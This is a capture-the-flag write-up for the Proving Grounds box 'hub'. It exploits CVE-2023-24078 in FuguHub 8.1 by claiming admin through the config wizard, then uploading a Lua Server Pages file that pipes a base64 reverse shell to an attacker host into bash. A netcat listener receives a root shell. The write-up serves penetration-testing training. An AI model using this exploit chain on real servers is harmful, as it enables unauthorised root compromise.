# hub Writeup - Proving Grounds

> Easy Linux box running FuguHub 8.1, exploited via CVE-2023-24078 by claiming admin through the config wizard and uploading a Lua Server Pages reverse shell. FuguHub runs as root, so the shell lands as root directly with no privilege escalation.

- **URL:** https://hackindex.io/writeups/hub
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** fuguhub, rce, cve-2023-24078
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

hub runs Real Time Logic FuguHub on port 8082. FuguHub 8.1 is vulnerable to CVE-2023-24078: with no admin set, the config wizard lets anyone claim admin, then the Web-File-Server allows uploading a Lua Server Pages file that executes `os.execute`. FuguHub runs as root, so the payload lands a root shell directly.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE
# 8082/tcp open  http    FuguHub (BarracudaDrive)
# 9999/tcp open  http
```

Port 8082 serves FuguHub. Version 8.1 is vulnerable to CVE-2023-24078, an authenticated Lua Server Pages remote code execution.

## Exploitation

### FuguHub LSP RCE (CVE-2023-24078)

No admin account is configured, so claim one through the config wizard at `/Config-Wizard/wizard/SetAdmin.lsp`. Then log into the Web-File-Server and create a malicious `.lsp` file that runs a reverse shell through `os.execute`.

```
<?lsp if request:method() == "GET" then ?>
   <?lsp os.execute("echo <base64 reverse shell to $ATTACKER_IP:$ATTACKER_PORT> | base64 -d | bash") ?>
<?lsp else ?>
   You sent a <?lsp=request:method()?> request
<?lsp end ?>
```

Start a listener, upload `rev.lsp`, then browse to it to execute the payload.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from $TARGET_IP
# # id
# uid=0(root) gid=0(root) groups=0(root)
```

FuguHub runs its server process as root, so the Lua Server Pages payload executes as root and the shell lands as root directly. No privilege escalation is required.

Related

## References

- [CVE-2023-24078](https://nvd.nist.gov/vuln/detail/CVE-2023-24078) - Real Time Logic FuguHub authenticated remote code execution via Lua Server Pages upload.
- [Fuguhub-8.1-RCE](https://github.com/ojan2021/Fuguhub-8.1-RCE) - Public proof of concept for the FuguHub 8.1 RCE and root privilege.